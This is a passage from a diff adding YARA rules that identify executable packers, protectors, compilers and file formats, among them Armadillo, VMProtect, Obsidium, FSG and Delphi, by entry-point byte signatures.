+		$0 = {EB 01 ?? E8 2F 00 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 21 EB 04 ?? ?? ?? ?? 33 C0 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 01 ?? C3 EB 01 ?? E9 ?? ?? ?? ?? EB 01 ?? E8 D5 FF FF FF EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 58 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v10__dulekxt_
+{
+	meta:
+		description = "FSG v1.0 -> dulek/xt"
+	strings:
+		$0 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B}
+	condition:
+		$0 at entrypoint
+}
+rule _PEiDBundle_v100__v101__BoB__BobSoft_
+{
+	meta:
+		description = "PEiD-Bundle v1.00 - v1.01 --> BoB / BobSoft"
+	strings:
+		$0 = {60 E8 ?? 02 00 00 8B 44 24 04 52 48 66 31 C0 66 81 38 4D 5A 75 F5 8B 50 3C 81 3C 02 50 45 00 00 75 E9 5A C2 04 00 60 89 DD 89 C3 8B 45 3C 8B 54 28 78 01 EA 52 8B 52 20 01 EA 31 C9 41 8B 34 8A}
+		$1 = {60 E8 ?? 02 00 00 8B 44 24 04 52 48 66 31 C0 66 81 38 4D 5A 75 F5 8B 50 3C 81 3C 02 50 45 00 00 75 E9 5A C2 04 00 60 89 DD 89 C3 8B 45 3C 8B 54 28 78 01 EA 52 8B 52 20 01 EA 31 C9 41 8B 34 8A}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PKLITE_v114_v120_
+{
+	meta:
+		description = "PKLITE v1.14, v1.20"
+	strings:
+		$0 = {B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 ?? ?? 72 ?? B4 09 BA ?? ?? CD 21 CD 20}
+		$1 = {B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 ?? ?? 72 ?? B4 09 BA ?? ?? CD 21 CD 20}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Private_exe_Protector_V215V220__SetiSoft_Team_
+{
+	meta:
+		description = "Private exe Protector V2.15-V2.20 -> SetiSoft Team"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _PseudoSigner_02_CodeLock_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Code-Lock"
+	strings:
+		$0 = {43 4F 44 45 2D 4C 4F 43 4B 2E 4F 43 58 00 01 28 01 50 4B 47 05 4C 3F B4 04 4D 4C 47 4B}
+	condition:
+		$0 at entrypoint
+}
+rule _VMProtect_V1X__PolyTech_
+{
+	meta:
+		description = "VMProtect V1.X -> PolyTech"
+	strings:
+		$0 = {9C 60 68 00 00 00 00 8B 74 24 28 BF ?? ?? ?? ?? FC 89 F3 03 34 24 AC 00 D8}
+	condition:
+		$0
+}
+rule _Microsoft_Windows_Cabinet_file_
+{
+	meta:
+		description = "Microsoft Windows Cabinet file"
+	strings:
+		$0 = {4D 53 43 46}
+	condition:
+		$0 at entrypoint
+}
+rule _VProtector_V10_Build_20041213_test__vcasm_
+{
+	meta:
+		description = "VProtector V1.0 [Build 2004.12.13] test! -> vcasm"
+	strings:
+		$0 = {55 8B EC 6A FF 68 1A 89 40 00 68 56 89 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V1338__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.3.3.8 -> Obsidium Software"
+	strings:
+		$0 = {EB 04 ?? ?? ?? ?? E8 28 00 00 00 EB 01 ?? EB 01 ?? 8B 54 24 0C EB 04 ?? ?? ?? ?? 83 82 B8 00 00 00 ?? EB 04 ?? ?? ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 01 ?? EB 01 ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 01 ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 04 ?? ?? ?? ?? 58 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8 57 27 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v190a_
+{
+	meta:
+		description = "Armadillo v1.90a"
+	strings:
+		$0 = {55 8B EC 64 FF 68 10 F2 40 00 68 14 9B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+		$1 = {55 8B EC 64 FF 68 10 F2 40 00 68 14 9B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SEAAXE_v22_
+{
+	meta:
+		description = "SEA-AXE v2.2"
+	strings:
+		$0 = {FC BC ?? ?? 0E 1F A3 ?? ?? E8 ?? ?? A1 ?? ?? 8B ?? ?? ?? 2B C3 8E C0 B1 03 D3 E3 8B CB BF ?? ?? 8B F7 F3 A5}
+	condition:
+		$0 at entrypoint
+}
+rule _Software_Compress_v14_LITE__BG_Software_Protect_Technologies_
+{
+	meta:
+		description = "Software Compress v1.4 LITE -> BG Software Protect Technologies"
+	strings:
+		$0 = {E8 00 00 00 00 81 2C 24 AA 1A 41 00 5D E8 00 00 00 00 83 2C 24 6E 8B 85 5D 1A 41 00 29 04 24 8B 04 24 89 85 5D 1A 41 00 58 8B 85 5D 1A 41 00 8B 50 3C 03 D0 8B 92 80 00 00 00 03 D0 8B 4A 58 89 8D 49 1A 41 00 8B 4A 5C 89 8D 4D 1A 41 00 8B 4A 60 89 8D 55 1A 41 00 8B 4A 64 89 8D 51 1A 41 00 8B 4A 74 89 8D 59 1A 41 00 68 00 20 00 00 E8 D2 00 00 00 50 8D 8D 00 1C 41 00 50 51 E8 1B 00 00 00 83 C4 08 58 8D 78 74 8D B5 49 1A 41 00 B9 18 00 00 00 F3 A4 05 A4 00 00 00 50 C3 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C3 60 FF 74 24 24 6A 40 FF 95 4D 1A 41 00 89 44 24 1C 61 C2 04}
+		$1 = {E8 00 00 00 00 81 2C 24 AA 1A 41 00 5D E8 00 00 00 00 83 2C 24 6E 8B 85 5D 1A 41 00 29 04 24 8B 04 24 89 85 5D 1A 41 00 58 8B 85 5D 1A 41 00 8B 50 3C 03 D0 8B 92 80 00 00 00 03 D0 8B 4A 58 89 8D 49 1A 41 00 8B 4A 5C 89 8D 4D 1A 41 00 8B 4A 60 89 8D 55 1A}
+		$2 = {E8 00 00 00 00 81 2C 24 AA 1A 41 00 5D E8 00 00 00 00 83 2C 24 6E 8B 85 5D 1A 41 00 29 04 24 8B 04 24 89 85 5D 1A 41 00 58 8B 85 5D 1A 41 00 8B 50 3C 03 D0 8B 92 80 00 00 00 03 D0 8B 4A 58 89 8D 49 1A 41 00 8B 4A 5C 89 8D 4D 1A 41 00 8B 4A 60 89 8D 55 1A 41 00 8B 4A 64 89 8D 51 1A 41 00 8B 4A 74 89 8D 59 1A 41 00 68 00 20 00 00 E8 D2 00 00 00 50 8D 8D 00 1C 41 00 50 51 E8 1B 00 00 00 83 C4 08 58 8D 78 74 8D B5 49 1A 41 00 B9 18 00 00 00 F3 A4 05 A4 00 00 00 50 C3 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C3 60 FF 74 24 24 6A 40 FF 95 4D 1A 41 00 89 44 24 1C 61 C2 04}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _32Lite_v003a__Oleg_Prokhorov_
+{
+	meta:
+		description = "32Lite v0.03a -> Oleg Prokhorov"
+	strings:
+		$0 = {60 06 FC 1E 07 BE ?? ?? ?? ?? 6A 04 68 00 10 ?? ?? 68}
+	condition:
+		$0 at entrypoint
+}
+rule _Simple_UPX_Cryptor_V3042005__MANtiCORE_
+{
+	meta:
+		description = "Simple UPX Cryptor V30.4.2005 -> MANtiCORE"
+	strings:
+		$0 = {60 B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? ?? ?? ?? ?? E2 FA 61 68 ?? ?? ?? ?? C3}
+		$1 = {60 B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? ?? ?? ?? ?? E2 FA 61 68 ?? ?? ?? ?? C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RLPack_V112_LZMA_430__ap0x_
+{
+	meta:
+		description = "RLPack V1.12 (LZMA 4.30) -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 33 FF 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ?? 60}
+	condition:
+		$0 at entrypoint
+}
+rule _TheHypers_protector__TheHyper_
+{
+	meta:
+		description = "TheHyper's protector -> TheHyper"
+	strings:
+		$0 = {55 8B EC 83 EC 14 8B FC E8 14 00 00 00 ?? ?? 01 01 ?? ?? 01 01 ?? ?? ?? 00 ?? ?? 01 01 ?? ?? 02 01 5E E8 0D 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 8B 46 04 FF 10 8B D8 E8 0D 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 53 8B 06 FF 10 89 07 E8}
+		$1 = {55 8B EC 83 EC 14 8B FC E8 14 00 00 00 ?? ?? 01 01 ?? ?? 01 01 ?? ?? ?? 00 ?? ?? 01 01 ?? ?? ?? 01 5E E8 0D 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 8B 46 04 FF 10 8B D8 E8 0D 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 53 8B 06 FF 10 89 07 E8 0C 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 53 8B 06 FF 10 89 47 04 E8 0F 00 00 00 47 65 74 50 72 6F 63 65 73 73 48 65 61 70 00 53 8B 06 FF 10 89 47 08 E8 0A 00 00 00 48 65 61 70 41 6C 6C 6F 63 00 53 8B 06 FF 10 89 47 0C E8 09 00 00 00 48 65 61 70 46 72 65 65 00 53 8B 06 FF 10 89 47 10 57 FF 76 08 FF 76 0C FF 56 10 8B E5 5D}
+		$2 = {55 8B EC 83 EC 14 8B FC E8 14 00 00 00 ?? ?? 01 01 ?? ?? 01 01 ?? ?? ?? 00 ?? ?? 01 01 ?? ?? 02 01 5E E8 0D 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 8B 46 04 FF 10 8B D8 E8 0D 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 53 8B 06 FF 10 89 07 E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _JDProtectV20081208demo____20090119_
+{
+	meta:
+		description = "JDProtect.V20081208.demo -> ÌìÀÖÈí¼þ¿Æ¼¼ * 20090119"
+	strings:
+		$0 = {10 3C 0C 32 54 50 50 83 2D 51 52 B9 E8 ?? 52 2A 10 16 84 01}
+	condition:
+		$0 at entrypoint
+}
+rule _aPack_073__074_m_EXE_
+{
+	meta:
+		description = "aPack 0.73 - 0.74 -m [EXE]"
+	strings:
+		$0 = {1E 06 8C C8 BA 00 00 03 C2 8B D8 05 00 00 FC 33 F6 33 FF 48 4B 8E C0 8E DB B9 08 00 F3 A5 4A 75 EE 8E D8 8E C3 33 FF 0E BE 32 00 05 00 00 50 6A 00 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _CrypKey__Kenonic_Controls_
+{
+	meta:
+		description = "CrypKey -> Kenonic Controls"
+	strings:
+		$0 = {8B 1D ?? ?? 3E 00 83 FB 00 75 0A E8 3C 00 00 00 E8 ?? 0A 00 00 8B 44 24 08 50 E8 ?? 02 00 00 A1 ?? ?? 3E 00 83 F8 01 74 06 FF 25 14 ?? 3E 00 C3 C8 00 00 00 53 8B 5D 08 33 C0 8B 4D 0C 8B 13 33 D3 83 C3 04 03 C2 49 75 F4 5B C9 C3 56 68 ?? ?? 3E 00 E8 ?? 16 00 00 8B F0 68 ?? ?? 3E 00 56 E8 ?? 16 00 00 A3 ?? ?? 3E 00 68 ?? ?? 3E 00 56 E8 ?? 16 00 00 A3 ?? ?? 3E 00 68 ?? ?? 3E 00 56 E8 ?? ?? 00 00 A3 ?? ?? 3E 00 68 ?? ?? 3E 00 56 E8 ?? ?? 00 00 A3 ?? ?? 3E 00 68 ?? ?? 3E 00 56 E8 ?? ?? 00 00 A3 ?? ?? 3E 00 68 ?? ?? 3E 00 56 E8 ?? ?? 00 00 A3 ?? ?? 3E 00 68 ?? ?? 3E 00 56 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v190b1_
+{
+	meta:
+		description = "Armadillo v1.90b1"
+	strings:
+		$0 = {55 8B EC 6A FF 68 E0 C1 40 00 68 04 89 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+		$1 = {55 8B EC 6A FF 68 E0 C1 40 00 68 04 89 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Microsoft_Visual_Basic_v50v60_
+{
+	meta:
+		description = "Microsoft Visual Basic v5.0/v6.0"
+	strings:
+		$0 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 00 00 00 00 00 00 30 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _kkryptor_5__rsc_
+{
+	meta:
+		description = "k.kryptor 5 -> r!sc"
+	strings:
+		$0 = {E8 03 00 00 00 E9 EB 6C 58 40 FF E0}
+	condition:
+		$0 at entrypoint
+}
+rule _Delphi_v20_Unit_
+{
+	meta:
+		description = "Delphi v2.0 Unit"
+	strings:
+		$0 = {44 43 55 32}
+	condition:
+		$0 at entrypoint
+}
+rule _MoleBox_Pro_v261_
+{
+	meta:
+		description = "MoleBox Pro v2.6.1"
+	strings:
+		$0 = {E8 00 00 00 00 60 E8 4F 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E9 2A 6A 00 00 E9 3E 6A 00 00 E9 39 6A 00 00 E8 6E FB FF FF 7E 04 01 00 ?? 96 00 00 ?? ?? ?? ?? ?? ?? F1 ?? ?? ?? A4 ?? ?? ?? A1 ?? ?? ?? E0 ?? ?? ?? 19 ?? ?? ?? BE ?? ?? ?? 13}
+		$1 = {E8 00 00 00 00 60 E8 4F 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E9 2A 6A 00 00 E9 3E 6A 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PENinja_modified_
+{
+	meta:
+		description = "PENinja modified"
+	strings:
+		$0 = {5D 83 ED 06 EB 02 EA 04 8D}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Neolite_20__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Neolite 2.0] --> Anorganix"
+	strings:
+		$0 = {E9 A6 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Delphi_20_
+{
+	meta:
+		description = "Borland Delphi 2.0"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 6A 00 E8 ?? ?? ?? ?? 89 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 05 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 0A ?? ?? ?? B8 ?? ?? ?? ?? C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_LCC_Win32_DLL_
+{
+	meta:
+		description = "PseudoSigner 0.1 [LCC Win32 DLL"
+	strings:
+		$0 = {55 89 E5 53 56 57 83 7D 0C 01 75 05 E8 17 90 90 90 FF 75 10 FF 75 0C FF 75 08 A1 ?? ?? ?? ?? E9}
+		$1 = {55 89 E5 53 56 57 83 7D 0C 01 75 05 E8 17 90 90 90 FF 75 10 FF 75 0C FF 75 08 A1 ?? ?? ?? ?? E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Kofax_Group_4_graphics_file_
+{
+	meta:
+		description = "Kofax Group 4 graphics file"
+	strings:
+		$0 = {2E 4B 46 68 80 00 01 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_PENightMare_2_Beta_
+{
+	meta:
+		description = "PseudoSigner 0.2 [PENightMare 2 Beta"
+	strings:
+		$0 = {60 E9 10 00 00 00 EF 40 03 A7 07 8F 07 1C 37 5D 43 A7 04 B9 2C 3A}
+	condition:
+		$0 at entrypoint
+}
+rule _Naked_Packer_V1X__BigBoote_
+{
+	meta:
+		description = "Naked Packer V1.X -> BigBoote"
+	strings:
+		$0 = {6A ?? E8 9A 05 00 00 8B D8 53 68 ?? ?? ?? ?? E8 6C FD FF FF B9 05 00 00 00 8B F3 BF ?? ?? ?? ?? 53 F3 A5 E8 8D 05 00 00 8B 3D ?? ?? ?? ?? A1 ?? ?? ?? ?? 66 8B 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B CF 89 45 E8 89 0D ?? ?? ?? ?? 66 89 55 EC 8B 41 3C 33 D2 03 C1 83 C4 10 66 8B 48 06 66 8B 50 14 81 E1 FF FF 00 00 8D 5C 02 18 8D 41 FF E8 00 00 00 00 EB 01 ?? 89 45 F0 C6 45 FF 00 8D 7D E8 8B F3 8A 0E 8A 17 8A C1 3A CA 75 1E 84 C0 74 16 8A 56 01 8A 4F 01 8A C2 3A D1 75 0E 83 C6 02 83 C7 02 84 C0 75 DC 33 C0 EB 05}
+		$1 = {6A ?? E8 9A 05 00 00 8B D8 53 68 ?? ?? ?? ?? E8 6C FD FF FF B9 05 00 00 00 8B F3 BF ?? ?? ?? ?? 53 F3 A5 E8 8D 05 00 00 8B 3D ?? ?? ?? ?? A1 ?? ?? ?? ?? 66 8B 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B CF 89 45 E8 89 0D ?? ?? ?? ?? 66 89 55 EC 8B 41 3C 33 D2 03 C1}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _WWPACK_v305c4_Extractable_p_Password_checking_
+{
+	meta:
+		description = "WWPACK v3.05c4 (Extractable + Password checking)"
+	strings:
+		$0 = {03 05 80 1A B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _Morphine_27__Holy_Father__Ratter29A_
+{
+	meta:
+		description = "Morphine 2.7 -> Holy_Father & Ratter/29A"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63}
+		$1 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63}
+		$2 = {00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _ActiveMark__Trymedia_Systems_Inc_
+{
+	meta:
+		description = "ActiveMark -> Trymedia Systems Inc."
+	strings:
+		$0 = {89 25 ?? ?? ?? ?? 33 ED 55 8B EC E8 ?? ?? ?? ?? 8B D0 81 E2 FF 00 00 00 89 15 ?? ?? ?? ?? 8B D0 C1 EA 08 81 E2 FF 00 00 00 A3 ?? ?? ?? ?? D1 E0 0F 93 C3 33 C0 8A C3 A3 ?? ?? ?? ?? 68 FF 00 00 00 E8 ?? ?? ?? ?? 6A 00 E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? BB ?? ?? ?? ?? C7 03 44 00 00 00}
+		$1 = {89 25 ?? ?? ?? ?? EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _XPack_V097_LZSS__JoKo_
+{
+	meta:
+		description = "XPack V0.97 (LZSS) -> JoKo"
+	strings:
+		$0 = {68 ?? ?? ?? 00 9C 60 E8 49 03 00 00 34 ?? ?? 00 00 00 00 00 00 00 00 00 44 ?? ?? 00 34 ?? ?? 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _IcebergLock_Protector_V310141__Iceberg_Software_Lab__20081209_
+{
+	meta:
+		description = "IcebergLock Protector V3.10.1.41 -> Iceberg Software Lab * 20081209"
+	strings:
+		$0 = {E8 D7 FF FF FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 55 8B EC 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB F8 5D C3 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B EC 83 C4 ?? B8 A8 ?? ?? ?? E8 94 EC FD FF E8 43 DE FF FF B8 58 ?? ?? ?? E8 71 FE FF FF E8 F4 CD FD FF}
+	condition:
+		$0 at entrypoint
+}
+rule _AVPack_12x_EXE_
+{
+	meta:
+		description = "AVPack 1.2x [EXE]"
+	strings:
+		$0 = {50 1E 0E 1F 16 07 33 F6 8B FE B9 10 01 FC F3 A5 06 BB 28 00 53 CB 2E 8B 16 0C 00 58 50 03 C2 2E 03 06 0E 00 BE FE FF 8B FE FD 8C D3 BD 00 10 8B CB 2B CA 51 8B CA 3B CD 76 02 8B CD 2B C5 2B DD 8E D8 8E C3 2B D1 D1 E1 D1 E1 D1 E1 F3 A5 0B D2}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Pascal_v70_for_Windows_
+{
+	meta:
+		description = "Borland Pascal v7.0 for Windows"
+	strings:
+		$0 = {9A FF FF 00 00 9A FF FF 00 00 55 89 E5 31 C0 9A FF FF 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _StarForce__Protection_Technology_
+{
+	meta:
+		description = "StarForce -> Protection Technology"
+	strings:
+		$0 = {68 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Shrinker_v32_
+{
+	meta:
+		description = "Shrinker v3.2"
+	strings:
+		$0 = {83 3D ?? ?? ?? ?? ?? 55 8B EC 56 57 75 65 68 00 01 ?? ?? E8 ?? E6 FF FF 83 C4 04 8B 75 08 A3 ?? ?? ?? ?? 85 F6 74 1D 68 FF}
+		$1 = {83 3D ?? ?? ?? ?? ?? 55 8B EC 56 57 75 65 68 00 01 ?? ?? E8 ?? E6 FF FF 83 C4 04 8B 75 08 A3 ?? ?? ?? ?? 85 F6 74 1D 68 FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PESpin_V01__cyberbob____20080312_
+{
+	meta:
+		description = "PESpin V0.1 -> cyberbob   * 20080312"
+	strings:
